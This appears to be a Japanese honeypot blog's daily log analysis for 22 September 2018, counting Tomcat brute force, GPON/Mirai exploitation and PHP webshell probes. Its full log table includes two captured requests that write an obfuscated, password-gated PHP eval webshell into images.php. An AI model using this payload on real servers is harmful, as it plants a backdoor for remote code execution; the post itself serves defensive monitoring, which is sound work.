S-Owl

S(ecurity)Owl

ハニーポットのログ分析(2018/09/22)

WOWhoneypotの2018/09/22(土) (運用109日目)の簡易分析です。
本日の総アクセス件数は 5047件です。

本日の主なアクセスは以下です。

Tomcat管理ページへのブルートフォース攻撃:4929件
 →攻撃元IPは3種類です。

4771件:68.168.80.xx (AS17378: TIERPOINT PENNSYLVANIA TWO LLC, US)
105件:185.128.40.xx (AS60392: ASRACKEND, CH)
53件:58.215.75.xx (AS4134: CHINANET-BACKBONE No.31,Jin-rong Street, CN)

phpのWebShell設置の調査:54件

・GPONルータの脆弱性(CVE-2018-10561)を突くMirai亜種の攻撃:10件
 →この3日前を境に、Mirai亜種の攻撃対象がD-Linkを狙うものからGPONを狙うものに一斉に切り替わっているのを感じます。種別は以下でD-Linkを狙うものと少し異なります。

8 User-Agent: Hello, World
2 User-Agent: CarlosMatos/69.0

・(新規)「GET /script」のアクセス:1件
 →何を目的としたアクセスなのか不明です。User-Agentはpythonでした。同一IPから他のアクセスはありませんでした。

 

以下が全アクセスログです。

件数 日付 種別 リクエス
4929 2018-09-22 Tomcat管理ページへのブルートフォース攻撃 GET /manager/html
44 2018-09-22 アクセス GET /
10 2018-09-22 GPONルータの脆弱性(CVE-2018-10561)を突くMirai亜種の攻撃 POST /GponForm/diag_Form?images/
2 2018-09-22 クローリング GET /robots.txt
2 2018-09-22 phpのWebShell設置の調査 GET /cmd.php
1 2018-09-22 IIS脆弱性を狙った攻撃 PROPFIND /
1 2018-09-22 phpのWebShell設置の調査 POST /xw.php
1 2018-09-22 phpのWebShell設置の調査 POST /xshell.php
1 2018-09-22 phpのWebShell設置の調査 POST /xiao.php
1 2018-09-22 phpのWebShell設置の調査 POST /wshell.php
1 2018-09-22 phpのWebShell設置の調査 POST /w.php
1 2018-09-22 phpのWebShell設置の調査 POST /wp-admins.php
1 2018-09-22 phpのWebShell設置の調査 POST /weixiao.php
1 2018-09-22 phpのWebShell設置の調査 POST /webslee.php
1 2018-09-22 phpのWebShell設置の調査 POST /wc.php
1 2018-09-22 phpのWebShell設置の調査 POST /s.php
1 2018-09-22 phpのWebShell設置の調査 POST /sheep.php
1 2018-09-22 phpのWebShell設置の調査 POST /qq.php
1 2018-09-22 phpのWebShell設置の調査 POST /q.php
1 2018-09-22 phpのWebShell設置の調査 POST /phpStudy.php
1 2018-09-22 phpのWebShell設置の調査 POST /phpstudy.php
1 2018-09-22 phpのWebShell設置の調査 POST /lindex.php
1 2018-09-22 phpのWebShell設置の調査 POST /images.php
1 2018-09-22 phpのWebShell設置の調査 POST /feixiang.php
1 2018-09-22 phpのWebShell設置の調査 POST /defect.php
1 2018-09-22 phpのWebShell設置の調査 POST /db_session.init.php
1 2018-09-22 phpのWebShell設置の調査 POST /db.init.php
1 2018-09-22 phpのWebShell設置の調査 POST /db__.init.php
1 2018-09-22 phpのWebShell設置の調査 POST /db_dataml.php
1 2018-09-22 phpのWebShell設置の調査 POST /cmx.php
1 2018-09-22 phpのWebShell設置の調査 POST /ak48.php
1 2018-09-22 phpのWebShell設置の調査 POST /ak47.php
1 2018-09-22 不正中継の調査 HEAD /static/admin/images/login_logo.png
1 2018-09-22 phpのWebShell設置の調査 GET /z.php
1 2018-09-22 phpのWebShell設置の調査 GET /x.php
1 2018-09-22 phpのWebShell設置の調査 GET /wpo.php
1 2018-09-22 phpのWebShell設置の調査 GET /wp-config.php
1 2018-09-22 WebDAVの調査 GET /webdav/
1 2018-09-22 phpのWebShell設置の調査 GET /uploader.php
1 2018-09-22 phpのWebShell設置の調査 GET /text.php
1 2018-09-22 phpのWebShell設置の調査 GET /test.php
1 2018-09-22 phpのWebShell設置の調査 GET /shell.php
1 2018-09-22 調査 GET /script
1 2018-09-22 phpMyAdminの調査 GET /pma/scripts/setup.php
1 2018-09-22 phpMyAdminの調査 GET /phpMyAdmin/scripts/setup.php
1 2018-09-22 phpMyAdminの調査 GET /myadmin/scripts/setup.php
1 2018-09-22 phpのWebShell設置の調査 GET /muhstiks.php
1 2018-09-22 phpのWebShell設置の調査 GET /muhstik.php
1 2018-09-22 phpのWebShell設置の調査 GET /muhstik2.php
1 2018-09-22 phpのWebShell設置の調査 GET /lol.php
1 2018-09-22 phpのWebShell設置の調査 GET /log.php
1 2018-09-22 phpのWebShell設置の調査 GET /logon.php
1 2018-09-22 phpのWebShell設置の調査 GET /license.php
1 2018-09-22 phpのWebShell設置の調査 GET /lala.php
1 2018-09-22 phpのWebShell設置の調査 GET /knal.php
1 2018-09-22 phpのWebShell設置の調査 GET /java.php
1 2018-09-22 phpのWebShell設置の調査 GET /help.php
1 2018-09-22 phpのWebShell設置の調査 GET /help-e.php
1 2018-09-22 phpのWebShell設置の調査 GET /desktop.ini.php
1 2018-09-22 phpのWebShell設置の調査 GET /db_pma.php
1 2018-09-22 phpのWebShell設置の調査 GET /db_cts.php
1 2018-09-22 phpのWebShell設置の調査 GET /cmx.php?cmd=echo+%5E%3C%3Fphp+%24func%3D%27c%27.%27r%27.%27e%27.%27a%27.%27t%27.%27e%27.%27_%27.%27f%27.%27u%27.%27n%27.%27c%27.%27t%27.%27i%27.%27o%27.%27n%27%3B%24test%3D%24func%28%27%24x%27%2C%27e%27.%27v%27.%27a%27.%27l%27.%27%28b%27.%27a%27.%27s%27.%27e%27.%276%27.%274%27.%27_%27.%27d%27.%27e%27.%27c%27.%27o%27.%27d%27.%27e%28%24x%29%29%3B%27%29%3B%24test%28%27QHNlc3Npb25fc3RhcnQoKTtpZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpeyhzdWJzdHIoc2hhMShtZDUoQCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicpJiYkX1NFU1NJT05bJ3RoZUNvZGUnXT10cmltKCRfUE9TVFsnY29kZSddKTt9aWYoaXNzZXQoJF9TRVNTSU9OWyd0aGVDb2RlJ10pKXtAZXZhbChiYXNlNjRfZGVjb2RlKCRfU0VTU0lPTlsndGhlQ29kZSddKSk7fQ%3D%3D%27%29%3B+%3F%5E%3E+%3Eimages.php+%26+echo+Hello%2C+Peppa%21
1 2018-09-22 phpのWebShell設置の調査 GET /cmx.php?cmd=echo+%22%3C%3Fphp+%5C%24func%3D%27c%27.%27r%27.%27e%27.%27a%27.%27t%27.%27e%27.%27_%27.%27f%27.%27u%27.%27n%27.%27c%27.%27t%27.%27i%27.%27o%27.%27n%27%3B%5C%24test%3D%5C%24func%28%27%5C%24x%27%2C%27e%27.%27v%27.%27a%27.%27l%27.%27%28b%27.%27a%27.%27s%27.%27e%27.%276%27.%274%27.%27_%27.%27d%27.%27e%27.%27c%27.%27o%27.%27d%27.%27e%28%5C%24x%29%29%3B%27%29%3B%5C%24test%28%27QHNlc3Npb25fc3RhcnQoKTtpZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpeyhzdWJzdHIoc2hhMShtZDUoQCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicpJiYkX1NFU1NJT05bJ3RoZUNvZGUnXT10cmltKCRfUE9TVFsnY29kZSddKTt9aWYoaXNzZXQoJF9TRVNTSU9OWyd0aGVDb2RlJ10pKXtAZXZhbChiYXNlNjRfZGVjb2RlKCRfU0VTU0lPTlsndGhlQ29kZSddKSk7fQ%3D%3D%27%29%3B+%3F%3E%22+%3Eimages.php+%26+echo+Hello%2C+Peppa%21
1 2018-09-22 phpのWebShell設置の調査 GET /cmv.php
1 2018-09-22 phpのWebShell設置の調査 GET /appserv.php

本日のドメイン名でのアクセスは以下です。変わり映えはしないですがアクセス数の上下はあります。

5 GET /
2 GET /robots.txt 

本日のハンティングログはありません。

以上です。